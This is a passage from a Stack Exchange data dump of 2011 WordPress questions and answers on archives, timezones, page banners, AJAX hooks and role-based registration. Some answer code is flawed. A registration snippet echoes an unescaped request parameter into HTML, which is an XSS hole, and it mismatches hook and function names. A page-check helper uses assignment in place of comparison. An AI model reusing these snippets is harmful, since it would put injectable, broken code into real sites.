LastEditDate="2011-05-22T15:42:03.357" LastActivityDate="2011-05-22T15:42:03.357" Title="Single Sign On or Bridge with in the WordPress WebSites?" Tags="&lt;registration&gt;&lt;single-sign-on&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15970" PostTypeId="1" CreationDate="2011-04-29T19:20:27.900" Score="0" ViewCount="295" Body="&lt;p&gt;I'm basically looking to extend the default archives widget so that it not only displays a {month : year} list of the default Posts but also includes my new custom Post Type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://cl.ly/6M4u&quot; rel=&quot;nofollow&quot;&gt;this example&lt;/a&gt; I was able get the new {month : year} items appearing in the archive list but not clicking through to anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then &lt;a href=&quot;http://cl.ly/6Mkx&quot; rel=&quot;nofollow&quot;&gt;this example&lt;/a&gt; showed how to include items from Custom Post Types in the loop and allow them to click through and return the actual results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the last problem I have is that when clicking on the {month : year} item in the list it also returns results from Page entries too. I need to know how to filter out Pages from my results so it is just Post Types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I have in functions.php is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Add custom Post Types to the Archives.&#xA; */&#xA;add_filter( 'getarchives_where' , 'ucc_getarchives_where_filter' , 10 , 2 );&#xA;function ucc_getarchives_where_filter( $where , $r ) {&#xA;  $args = array(&#xA;    'public' =&amp;gt; true ,&#xA;    '_builtin' =&amp;gt; false&#xA;  );&#xA;  $output = 'names';&#xA;  $operator = 'and';&#xA;&#xA;  $post_types = get_post_types( $args , $output , $operator );&#xA;  $post_types = array_merge( $post_types , array( 'post' ) );&#xA;  $post_types = &quot;'&quot; . implode( &quot;' , '&quot; , $post_types ) . &quot;'&quot;;&#xA;&#xA;  return str_replace( &quot;post_type = 'post'&quot; , &quot;post_type IN ( $post_types )&quot; , $where );&#xA;}&#xA;&#xA;/**&#xA; * Add Custom Post Types to The Loop results.&#xA; */&#xA;add_filter( 'request' , 'ucc_request_filter' );&#xA;function ucc_request_filter( $query ) {&#xA;   // Preview does not like having post_type set; feed is my personal preference.&#xA;  if ( empty( $query['preview'] ) &amp;amp;&amp;amp; empty( $query['feed'] ) ) {&#xA;    $my_post_type = $query['post_type'];&#xA;    if ( empty( $my_post_type ) ) {&#xA;      $query['post_type'] = 'any';&#xA;    }&#xA;  }&#xA;  return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4962" LastActivityDate="2011-05-30T12:55:34.033" Title="Archives for Custom Post Types (without Pages)" Tags="&lt;custom-post-types&gt;&lt;custom-post-type-archives&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="15971" PostTypeId="1" AcceptedAnswerId="15974" CreationDate="2011-04-29T19:21:29.300" Score="0" ViewCount="139" Body="&lt;p&gt;hey guys,&#xA;it's weird and I've never experienced that before. I've created a new blog and a custom theme. I'm using &lt;code&gt;&amp;lt;?php echo date(&quot;H:i&quot;); ?&amp;gt;&lt;/code&gt;in my theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The time that's put is 2h earlier. e.g. if it's actually 16:00 o'clock the date generated with date() is 14:00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why that happens? I'm using the german wordpress version with the german language pack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also doesn't make a difference when putting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setlocale(LC_ALL, 'de_DE');&#xA;date_default_timezone_set('Europe/Berlin');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into wp-config.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea how I could solve that? the time set in my wordpress settings is UTC+2 which is the correct time.&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-08-18T11:26:12.587" Title="wrong php date()?" Tags="&lt;php&gt;&lt;date-time&gt;&lt;functions&gt;" AnswerCount="4" />
  <row Id="15972" PostTypeId="2" ParentId="15971" CreationDate="2011-04-29T19:29:41.987" Score="0" ViewCount="" Body="&lt;p&gt;I think that the problem is that the server date is different between your.&#xA;Your server has a different &lt;code&gt;date&lt;/code&gt; between your probably because it's placed in another state.&lt;/p&gt;&#xA;" OwnerUserId="4854" LastActivityDate="2011-04-29T19:29:41.987" />
  <row Id="15973" PostTypeId="2" ParentId="15971" CreationDate="2011-04-29T19:30:26.323" Score="0" ViewCount="" Body="&lt;p&gt;Doesn't the PHP &lt;code&gt;date()&lt;/code&gt; function merely return a value based on the &lt;em&gt;server&lt;/em&gt; timestamp? So, what is the current time for your server, compared to your local time? Does that account for the two-hour difference?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-29T19:30:26.323" />
  <row Id="15974" PostTypeId="2" ParentId="15971" CreationDate="2011-04-29T19:52:27.030" Score="1" ViewCount="" Body="&lt;p&gt;This could probably make exquisite debugging session, but taking in account it's Friday evening - just use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/date_i18n&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;date_i18n()&lt;/code&gt;&lt;/a&gt; instead and let WordPress deal with a huge mess that time/date issues usually are.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-29T19:52:27.030" />
  <row Id="15975" PostTypeId="1" CreationDate="2011-04-29T19:58:26.650" Score="0" ViewCount="36" Body="&lt;p&gt;Is there any way to use patch command connected to server via ssh specifically I'd like to be able to use it for patching wordpress &lt;a href=&quot;http://codex.wordpress.org/Using_Subversion#Applying_.patch_or_.diff_files&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Using_Subversion#Applying_.patch_or_.diff_files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Dreamhost and haven't been able to find documentation on if they allow it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2050" LastActivityDate="2011-04-29T19:58:26.650" Title="Any way to use patch command in ssh for diff files" Tags="&lt;ssh&gt;" CommentCount="2" />
  <row Id="15976" PostTypeId="1" CreationDate="2011-04-29T20:12:12.517" Score="2" ViewCount="89" Body="&lt;p&gt;I'm looking for a theme or plugin (free or paid) for WordPress to create a job board site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read this question:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4249/creating-a-job-board-using-wordpress-for-free&quot;&gt;Creating a job board using WordPress (for free)?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I need two (or three) features that do not appear in the suggestions from the previous question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;custom fields to job posters, like &quot;salary:&quot;&lt;/li&gt;&#xA;&lt;li&gt;custom comment fields to use like answers from the job seekers or candidates&lt;/li&gt;&#xA;&lt;li&gt;a page for candidates with their portfolio or resume&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks ;)&lt;/p&gt;&#xA;" OwnerUserId="1236" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-28T02:02:11.623" LastActivityDate="2011-07-28T08:32:24.933" Title="Job board with custom fields (free or paid)" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;jobboard&gt;" AnswerCount="2" />
  <row Id="15977" PostTypeId="1" CreationDate="2011-04-29T20:15:33.543" Score="0" ViewCount="55" Body="&lt;p&gt;I have a website with 5 main pages (consider them as sections), then 3-5 sub pages for each of them. I would like to display a flash banner for each section, i.e. it should display the flash banner on that page and all its sub pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now i am able to get that o the main page by using the following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_page('our-school-district')) { ?&amp;gt;&#xA;                    &amp;lt;object width=&quot;664&quot; height=&quot;217&quot;&amp;gt;&#xA;                        &amp;lt;param name=&quot;movie&quot; value=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/wp-content/uploads/2011/03/school_district.swf&quot; /&amp;gt;&#xA;                        &amp;lt;param name=&quot;wmode&quot; value=&quot;transparent&quot; /&amp;gt;&#xA;                        &amp;lt;embed src=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/wp-content/uploads/2011/03/school_district.swf&quot; width=&quot;664&quot; height=&quot;217&quot; wmode=&quot;transparent&quot;&amp;gt;&amp;lt;/embed&amp;gt;&#xA;                        &amp;lt;!-- It Is Not Just About The Seeds That Are Planted, but the Garden That Surrounds Them. --&amp;gt;&#xA;                    &amp;lt;/object&amp;gt;                    &#xA;                    &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I get it on all sub pages too?&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2011-04-29T21:24:21.867" Title="Display a specified content on a Page and all its child pages" Tags="&lt;customization&gt;&lt;pages&gt;&lt;content&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="15978" PostTypeId="2" ParentId="15976" CreationDate="2011-04-29T20:19:16.407" Score="0" ViewCount="" Body="&lt;p&gt;I haven't tried this one, but it might be worth a shot: &lt;a href=&quot;http://codecanyon.net/item/wordpress-jobbin/231288&quot; rel=&quot;nofollow&quot;&gt;http://codecanyon.net/item/wordpress-jobbin/231288&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-04-29T20:19:16.407" CommentCount="1" />
  <row Id="15979" PostTypeId="2" ParentId="15971" CreationDate="2011-04-29T20:29:09.857" Score="0" ViewCount="" Body="&lt;p&gt;Try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo date('H:i', current_time('timestamp'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and enjoy!&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-29T20:29:09.857" />
  <row Id="15980" PostTypeId="2" ParentId="15977" CreationDate="2011-04-29T21:18:37.923" Score="0" ViewCount="" Body="&lt;p&gt;You should create a template for each page that way you can add the banner directly to it without having to mess with a bunch of php unless the banner will be outside of the page template view this link for a better explanation &lt;a href=&quot;http://codex.wordpress.org/Pages&quot; rel=&quot;nofollow&quot;&gt;Wordpress Codex - Pages&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-04-29T21:18:37.923" />
  <row Id="15981" PostTypeId="2" ParentId="15969" CreationDate="2011-04-29T21:23:25.393" Score="1" ViewCount="" Body="&lt;p&gt;As far as i know you need to make sure the cookies domains are the same through out all sites if they are on separate domains and even this can be a bit buggy at times. WPMUDEV.ORG created a sync plugin to sync users across multi sites but as far as a single sign on i really have not yet tackled that before and when i tried it got a little tricky so i just stuck with syncing users across all and if they wanted to sign on another site they could use that same username &lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-04-29T21:23:25.393" />
  <row Id="15982" PostTypeId="2" ParentId="15977" CreationDate="2011-04-29T21:24:21.867" Score="1" ViewCount="" Body="&lt;p&gt;You can do that by using this nice little function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_page_or_child_of($slug){&#xA;    global $post;&#xA;    if (empty($slug))&#xA;        return false;&#xA;    //is it the page?&#xA;    if ($post-&amp;gt;post_name = $slug) &#xA;        return true;&#xA;    //check the children&#xA;    $page = get_page_by_path($slug);&#xA;    $children = get_pages('child_of='.$page-&amp;gt;ID.'&amp;amp;sort_column=post_date&amp;amp;sort_order=desc');&#xA;    foreach ($children as $sub){&#xA;        if ($post-&amp;gt;ID == $sub-&amp;gt;ID){&#xA;            return true;&#xA;        }&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and instead of using &lt;code&gt;is_page('our-school-district')&lt;/code&gt; use &lt;code&gt;s_page_or_child_of('our-school-district')&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-29T21:24:21.867" />
  <row Id="15983" PostTypeId="2" ParentId="15953" CreationDate="2011-04-29T21:27:11.960" Score="0" ViewCount="" Body="&lt;p&gt;if you want a plugin that can have a default setup when you create a new sub-site then give this a shot &lt;a href=&quot;http://premium.wpmudev.org/project/new-blog-template&quot; rel=&quot;nofollow&quot;&gt;WPMUDEV New Blog Template&lt;/a&gt; do not let the name fool you it does what your somewhat looking for minus the Duplicate button but that would be no longer necessary. &lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-04-29T21:27:11.960" />
  <row Id="15984" PostTypeId="2" ParentId="15964" CreationDate="2011-04-29T21:28:16.717" Score="3" ViewCount="" Body="&lt;p&gt;Your ajax hook&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_action('wp_ajax_load_user_feed', 'ajax_load_user_feed');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is for logged in users only, if you want none logged in users (guests or visitors) then add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_action('wp_ajax_nopriv_load_user_feed', 'ajax_load_user_feed');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-29T21:28:16.717" CommentCount="2" />
  <row Id="15985" PostTypeId="2" ParentId="15939" CreationDate="2011-04-29T21:32:44.593" Score="0" ViewCount="" Body="&lt;p&gt;It really depends on the plugin developer now on how they incorporate settings the other option is to try and put it inside the /wp-content/mu-plugins but im not sure if that will allow you to have only a master setting you could also try hard coding it in the plugin files. What plugin is it i might be able to better help you&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-04-29T21:32:44.593" CommentCount="4" />
  <row Id="15986" PostTypeId="2" ParentId="15970" CreationDate="2011-04-29T21:34:43.813" Score="1" ViewCount="" Body="&lt;p&gt;replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return str_replace( &quot;post_type = 'post'&quot; , &quot;post_type IN ( $post_types )&quot; , $where );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return str_replace( &quot;post_type = 'post'&quot; , &quot;post_type = 'YOUR_CUSTOM_TYPE'&quot; , $where );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change YOUR_CUSTOM_TYPE to  your actual custom post type name.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want all types but pages then change your function abit to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'getarchives_where' , 'ucc_getarchives_where_filter' , 10 , 2 );&#xA;function ucc_getarchives_where_filter( $where , $r ) {&#xA;  $args = array(&#xA;    'public' =&amp;gt; true ,&#xA;    '_builtin' =&amp;gt; false&#xA;  );&#xA;  $output = 'names';&#xA;  $operator = 'and';&#xA;&#xA;  $post_types = get_post_types( $args , $output , $operator );&#xA;  $post_types = array_merge( $post_types , array( 'post' ) );&#xA;  $post_types = &quot;'&quot; . implode( &quot;' , '&quot; , $post_types ) . &quot;'&quot;;&#xA;  //if page is somewhere in the middle then remove it &#xA;  $post_types = str_replace(&quot;'page',&quot;,&quot;&quot;,  $post_types);&#xA;    //if page is somewhere the last type then remove it &#xA;  $post_types = str_replace(&quot;'page'&quot;,&quot;&quot;,  $post_types);&#xA;  return str_replace( &quot;post_type = 'post'&quot; , &quot;post_type IN ( $post_types )&quot; , $where );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to get results in the loop use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'pre_get_posts' , 'ucc_include_custom_post_types' );&#xA;function ucc_include_custom_post_types( $query ) {&#xA;  global $wp_query;&#xA;&#xA;  /* Don't break admin or preview pages. This is also a good place to exclude feed with !is_feed() if desired. */&#xA;  if ( !is_preview() &amp;amp;&amp;amp; !is_admin() &amp;amp;&amp;amp; !is_singular() ) {&#xA;    $args = array(&#xA;      'public' =&amp;gt; true ,&#xA;      '_builtin' =&amp;gt; false&#xA;    );&#xA;    $output = 'names';&#xA;    $operator = 'and';&#xA;&#xA;    $post_types = get_post_types( $args , $output , $operator );&#xA;    $post_types = array_merge( $post_types , array( 'post' ) );&#xA;&#xA;    //remove page form array:&#xA;    foreach($post_types as $key =&amp;gt; $val){&#xA;        if ($val =='page'){&#xA;            unset($post_types[$key]);&#xA;        }&#xA;    }&#xA;&#xA;    if ($query-&amp;gt;is_feed) {&#xA;      /* Do feed processing here if you did not exclude it previously. This if/else&#xA;       * is not necessary if you want custom post types included in your feed.&#xA;       */&#xA;    } else {&#xA;      $my_post_type = get_query_var( 'post_type' );&#xA;      if ( empty( $my_post_type ) )&#xA;        $query-&amp;gt;set( 'post_type' , $post_types );&#xA;    }&#xA;  }&#xA;&#xA;  return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-30T12:21:12.670" LastActivityDate="2011-04-30T12:21:12.670" CommentCount="1" />
  <row Id="15987" PostTypeId="2" ParentId="15943" CreationDate="2011-04-29T21:37:24.640" Score="0" ViewCount="" Body="&lt;p&gt;If your looking to manage non-logged in users then no if you want to create new roles then check out this page &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and at the bottom of the page &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#Resources&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; there are some resources on plugins that can do this.&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-04-29T21:37:24.640" CommentCount="4" />
  <row Id="15988" PostTypeId="2" ParentId="15908" CreationDate="2011-04-29T21:41:47.087" Score="0" ViewCount="" Body="&lt;p&gt;No you should be able to create the user and edit the user on a network basis not site basis at least that is how it shows on mine.&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-04-29T21:41:47.087" CommentCount="1" />
  <row Id="15989" PostTypeId="2" ParentId="15954" CreationDate="2011-04-29T21:49:30.890" Score="1" ViewCount="" Body="&lt;p&gt;Creating two separate registration for different roles is easy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//create a hidden filed for role&#xA;add_action('register_form','add_hidden_role_field');&#xA;&#xA;function add_hidden_role_field(){&#xA;    if (isset($_GET['role'])){&#xA;        echo '&amp;lt;input id=&quot;user_email&quot; type=&quot;hidden&quot; tabindex=&quot;20&quot; size=&quot;25&quot; value=&quot;'.$_GET['role'].'&quot; name=&quot;role&quot;/&amp;gt;';&#xA;    }&#xA;}&#xA;&#xA;add_action('user_register', 'register_role');&#xA;&#xA;//save the the role&#xA;function update_role($user_id, $password=&quot;&quot;, $meta=array()) {&#xA;   if (isset($_POST['role'])){&#xA;       $userdata = array();&#xA;       $userdata['ID'] = $user_id;&#xA;       $userdata['role'] = $_POST['role'];&#xA;&#xA;       //only allow if user role is my_role to avoid a few new admins to the site&#xA;       if (($userdata['role'] == &quot;seller&quot;) or ($userdata['role'] == &quot;buyer&quot;)){&#xA;          wp_update_user($userdata);&#xA;       }&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now you can link each role with &quot;its own&quot; registration form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seller: http://example.com/wp-login.php?action=register&amp;amp;role=seller&#xA;buyer: http://example.com/wp-login.php?action=register&amp;amp;role=buyer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but as  Milo commented: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;if someone registers as a buyer,&#xA;  there's no way they can log in as&#xA;  anything but buyer with their&#xA;  credentials&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which means that they would have to use a different email to register the other role.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;this is an update with an example to show how you can use the same fore but with different fields for each role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you just need to change the functions a bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//create a hidden field for role and extra fields needed&#xA;add_action('register_form','add_extra_role_fields');&#xA;&#xA;function add_hidden_role_field(){&#xA;    if (isset($_GET['role'])){&#xA;        $user_type = $_GET['role'];&#xA;        echo '&amp;lt;input id=&quot;user_email&quot; type=&quot;hidden&quot; tabindex=&quot;20&quot; size=&quot;25&quot; value=&quot;'.$_GET['role'].'&quot; name=&quot;role&quot;/&amp;gt;';&#xA;    }&#xA;    if (isset($user_type) &amp;amp;&amp;amp; $user_type == &quot;seller&quot;){&#xA;        //add extra seller fields here eg:&#xA;        ?&amp;gt;&#xA;        business name:&#xA;        &amp;lt;input id=&quot;user_email&quot; type=&quot;text&quot; tabindex=&quot;20&quot; size=&quot;25&quot; value=&quot;&quot; name=&quot;business_name&quot;/&amp;gt;&#xA;&#xA;        business address:&#xA;        &amp;lt;input id=&quot;user_email&quot; type=&quot;text&quot; tabindex=&quot;20&quot; size=&quot;25&quot; value=&quot;&quot; name=&quot;business_address&quot;/&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;    if (isset($user_type) &amp;amp;&amp;amp; $user_type == &quot;buyer&quot;){&#xA;        //add extra buyer fields here eg:&#xA;        ?&amp;gt;&#xA;        buyer name:&#xA;        &amp;lt;input id=&quot;user_email&quot; type=&quot;text&quot; tabindex=&quot;20&quot; size=&quot;25&quot; value=&quot;&quot; name=&quot;buyer_name&quot;/&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this way only the fields needed by the specific role are shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next is if you want to have some kind of validation to these extra fields you can use &lt;code&gt;register_post&lt;/code&gt; hook for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('register_post','my_user_fields_validation',10,3);&#xA;&#xA;function my_user_fields_validation($login, $email, $errors) {&#xA;    global $firstname, $lastname;&#xA;    //get the role to check&#xA;    if (isset($_POST['role'])){&#xA;        $user_type = $_POST['role'];&#xA;    }&#xA;    //check the fields according to the role&#xA;    if (isset($user_type) &amp;amp;&amp;amp; $user_type == &quot;seller&quot;){&#xA;    //check sellers fields&#xA;        if ($_POST['business_name'] == '') {&#xA;            $errors-&amp;gt;add('empty_business_name', &quot;&amp;lt;strong&amp;gt;ERROR&amp;lt;/strong&amp;gt;: Please Enter in a Business name&quot;);&#xA;        }&#xA;        if ($_POST['business_address'] == '') {&#xA;            $errors-&amp;gt;add('empty_business_address', &quot;&amp;lt;strong&amp;gt;ERROR&amp;lt;/strong&amp;gt;: Please Enter in Business address&quot;);&#xA;        } &#xA;    }&#xA;    if (isset($user_type) &amp;amp;&amp;amp; $user_type == &quot;buyer&quot;){&#xA;        //check buyers fields&#xA;        if ($_POST['buyer_name'] == '') {&#xA;            $errors-&amp;gt;add('empty_buyer_name', &quot;&amp;lt;strong&amp;gt;ERROR&amp;lt;/strong&amp;gt;: Please Enter in a Buyer name&quot;);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then if every thing is fine just save the fields in the user meta based on the role&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('user_register', 'register_role');&#xA;&#xA;//save the the role&#xA;function update_role($user_id, $password=&quot;&quot;, $meta=array()) {&#xA;   if (isset($_POST['role'])){&#xA;       $userdata = array();&#xA;       $userdata['ID'] = $user_id;&#xA;       $userdata['role'] = $_POST['role'];&#xA;        $user_type = $_POST['role'];&#xA;       //only allow if user role is my_role to avoid a few new admins to the site&#xA;        if (($userdata['role'] == &quot;seller&quot;) or ($userdata['role'] == &quot;buyer&quot;)){&#xA;            wp_update_user($userdata);&#xA;        }&#xA;        if (isset($user_type) &amp;amp;&amp;amp; $user_type == &quot;seller&quot;){&#xA;            //save sellers fields&#xA;            update_user_meta($user_id, 'business_name', $_POST['business_name']);&#xA;            update_user_meta($user_id, 'business_address', $_POST['business_address']);&#xA;        }&#xA;        if (isset($user_type) &amp;amp;&amp;amp; $user_type == &quot;buyer&quot;){&#xA;            //save sellers fields&#xA;            update_user_meta($user_id, 'buyer_name', $_POST['buyer_name']);&#xA;        }&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-01T14:24:06.953" LastActivityDate="2011-05-01T14:24:06.953" CommentCount="7" />
  <row Id="15990" PostTypeId="1" AcceptedAnswerId="15992" CreationDate="2011-04-29T22:11:09.900" Score="0" ViewCount="151" Body="&lt;p&gt;I'm studying TwentyTen, under the assumption that it contains the best practices for writing themes and modifying them using child themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm noticing what looks like a really redundant practice, which is to overload not the base template file (eg: attachment.php) but instead to overload the template-part file (eg: loop-attachment.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain the benefit of this approach? If you look at attachment.php, for example, inside TwentyTen, it's really nothing more than a shell - gets header, creates some divs, then calls the REAL attachment file using get_template_part - then displays the footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then if you look at single.php, it's almost exactly the same deal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can understand wanting to define an outer structure once, and then using different parts of the loop as internals, but that's not what TwentyTen is doing, since it redefines this outer structure over and over in all these different template files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone either confirm that the approach taken in TwentyTen is overkill and just obfuscates theme overloading, or point me to some good examples where this technique can actually make your life easier. Right now I'm feeling I should ignore the whole get_template_part thing, and just overload the base template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-04-29T22:52:56.257" Title="TwentyTen: Overloading template.php files vs. get_template_part" Tags="&lt;template&gt;&lt;best-practices&gt;&lt;get-template-part&gt;" AnswerCount="2" />
  <row Id="15991" PostTypeId="2" ParentId="15990" CreationDate="2011-04-29T22:49:25.680" Score="2" ViewCount="" Body="&lt;p&gt;I am afraid you are not likely to get definitive answer on this one. Some people like this type of organization, some hate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two sides to parent/child theme design - to rely on templates or on hooks. Obviously any theme makes use of both, but Twenty Ten is very heavily slanted towards templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Myself I am much more inclined to use hooks approach, so my parent theme of choice is Hybrid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you do not need to feel forced to follow Twenty Ten design patterns. It's official, but it isn't ideal or only-true-way kind of theme.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-29T22:49:25.680" CommentCount="1" />
  <row Id="15992" PostTypeId="2" ParentId="15990" CreationDate="2011-04-29T22:52:56.257" Score="1" ViewCount="" Body="&lt;p&gt;TwentyTen was designed to help understand the WordPress theming system and that is why it has more lines of comments then actual code. So looking at TwentyTen you need to understand that they tried to include every file &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;in the Template Hierarchy&lt;/a&gt; (eg: attachment.php, single.php, page.php) and every &lt;a href=&quot;http://codex.wordpress.org/Template_Tags&quot; rel=&quot;nofollow&quot;&gt;template tag there is&lt;/a&gt; (including: &lt;code&gt;get_template_part()&lt;/code&gt; which is relatively new).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best practices would be to use as much theme files and template parts as you can if the theme you are designing / developing is to distributed to make the life of the people who use it as easy as possible in customizing it for there needs, but if its just for your own use then a single index.php with 3-4 template parts would be fine if you know what you are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I've recently had a client that wanted to use &lt;a href=&quot;http://wordpress.org/extend/themes/evolve&quot; rel=&quot;nofollow&quot;&gt;EvoLve theme&lt;/a&gt;  which is a beautifully designed but very badly developed. I needed to create custom templates for a custom post type and i can tell you that the it wasn't nice at all and i had to do some major reverse engineering to get it done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but then again it depends on what you like to do with the theme (share or self use) and even then its up to you.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-29T22:52:56.257" CommentCount="1" />
